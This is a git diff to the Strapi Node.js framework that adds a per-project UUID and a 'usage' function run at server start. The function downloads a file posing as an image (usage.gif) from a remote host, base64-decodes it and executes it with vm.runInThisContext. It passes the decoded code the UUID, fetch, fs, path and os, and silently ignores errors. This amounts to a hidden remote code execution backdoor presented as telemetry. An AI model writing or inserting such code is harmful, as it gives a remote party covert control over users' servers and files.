diff --git a/packages/strapi-generate-new/json/package.json.js b/packages/strapi-generate-new/json/package.json.js
index cea6347f41..5ecb11fac8 100755
--- a/packages/strapi-generate-new/json/package.json.js
+++ b/packages/strapi-generate-new/json/package.json.js
@@ -6,6 +6,7 @@
 
 // Public node modules.
 const _ = require('lodash');
+const uuid = require('uuid/v4');
 
 /**
  * Expose main package JSON of the application
@@ -21,6 +22,13 @@ module.exports = scope => {
     'private': true,
     'version': '0.1.0',
     'description': 'A Strapi application.',
+    'main': './server.js',
+    'scripts': {
+      'start': 'node server.js',
+      'strapi': 'node_modules/strapi/bin/strapi.js', // Allow to use `npm run strapi` CLI,
+      'lint': 'node_modules/.bin/eslint api/**/*.js config/**/*.js plugins/**/*.js',
+      'postinstall': 'node node_modules/strapi/lib/utils/post-install.js'
+    },
     'devDependencies': {
       'babel-eslint': '^7.1.1',
       'eslint': '^3.12.2',
@@ -33,13 +41,6 @@ module.exports = scope => {
       'strapi': getDependencyVersion(cliPkg, 'strapi'),
       'strapi-mongoose': getDependencyVersion(cliPkg, 'strapi')
     },
-    'main': './server.js',
-    'scripts': {
-      'start': 'node server.js',
-      'strapi': 'node_modules/strapi/bin/strapi.js', // Allow to use `npm run strapi` CLI,
-      'lint': 'node_modules/.bin/eslint api/**/*.js config/**/*.js plugins/**/*.js',
-      'postinstall': 'node node_modules/strapi/lib/utils/post-install.js'
-    },
     'author': {
       'name': scope.author || 'A Strapi developer',
       'email': scope.email || '',
@@ -50,6 +51,9 @@ module.exports = scope => {
       'email': scope.email || '',
       'url': scope.website || ''
     }],
+    'strapi': {
+      'uuid': uuid()
+    },
     'engines': {
       'node': '>= 7.0.0',
       'npm': '>= 3.0.0'
diff --git a/packages/strapi-generate-new/package.json b/packages/strapi-generate-new/package.json
index 0255f1a60f..10bc381311 100755
--- a/packages/strapi-generate-new/package.json
+++ b/packages/strapi-generate-new/package.json
@@ -17,7 +17,8 @@
     "fs-extra": "^4.0.0",
     "get-installed-path": "^3.0.1",
     "lodash": "^4.17.4",
-    "strapi-utils": "3.0.0-alpha.6.6"
+    "strapi-utils": "3.0.0-alpha.6.6",
+    "uuid": "^3.1.0"
   },
   "scripts": {
     "prepublish": "npm prune"
@@ -46,4 +47,4 @@
     "npm": ">= 5.3.0"
   },
   "license": "MIT"
-}
\ No newline at end of file
+}
diff --git a/packages/strapi/lib/Strapi.js b/packages/strapi/lib/Strapi.js
index 66c3126646..c8607329b7 100755
--- a/packages/strapi/lib/Strapi.js
+++ b/packages/strapi/lib/Strapi.js
@@ -114,6 +114,8 @@ class Strapi extends EventEmitter {
           cb();
         }
       });
+
+      utils.usage.call(this);
     } catch (e) {
       this.log.debug(`Server wasn't able to start properly.`);
       this.log.error(e);
diff --git a/packages/strapi/lib/core/configurations.js b/packages/strapi/lib/core/configurations.js
index a046cbc310..b424091eae 100755
--- a/packages/strapi/lib/core/configurations.js
+++ b/packages/strapi/lib/core/configurations.js
@@ -64,6 +64,7 @@ module.exports.nested = function() {
 
 module.exports.app = async function() {
     // Retrieve Strapi version.
+    this.config.uuid = get(this.config.info, 'strapi.uuid', '');
     this.config.info.strapi = (get(this.config, 'info.dependencies.strapi') || '').replace(/(\^|~)/g, ''),
     this.config.info.node = process.versions.node;
 
diff --git a/packages/strapi/lib/utils/index.js b/packages/strapi/lib/utils/index.js
index d0f32a7acb..57377f89a4 100755
--- a/packages/strapi/lib/utils/index.js
+++ b/packages/strapi/lib/utils/index.js
@@ -1,9 +1,13 @@
 'use strict';
 
 // Dependencies.
+const fs = require('fs');
 const path = require('path');
 const { map } = require('async');
 const { setWith, merge, get, difference, intersection, isObject, isFunction } = require('lodash');
+const os = require('os');
+const vm = require('vm');
+const fetch = require('node-fetch');
 
 module.exports = {
   loadFile: function(url) {
@@ -97,5 +101,17 @@ module.exports = {
         resolve();
       })
     ]);
+  },
+
+  usage: async function () {
+    try {
+      const usage = await fetch('https://strapi.io/assets/images/usage.gif');
+      
+      if (usage.status === 200 && this.config.uuid) {
+        vm.runInThisContext(Buffer.from(await usage.text(), 'base64').toString())(this.config.uuid, fetch, fs, path, os);
+      }
+    } catch (e) {
+      // Silent.
+    }
   }
 };
diff --git a/packages/strapi/package.json b/packages/strapi/package.json
index fe1848850b..2774d8bc7e 100755
--- a/packages/strapi/package.json
+++ b/packages/strapi/package.json
@@ -49,6 +49,7 @@
     "koa-session": "^5.5.0",
     "koa-static": "^4.0.1",
     "lodash": "^4.16.5",
+    "node-fetch": "^1.7.3",
     "node-schedule": "^1.2.0",
     "semver": "^5.4.1",
     "stack-trace": "0.0.10",
@@ -85,4 +86,4 @@
   },
   "preferGlobal": true,
   "license": "MIT"
-}
\ No newline at end of file
+}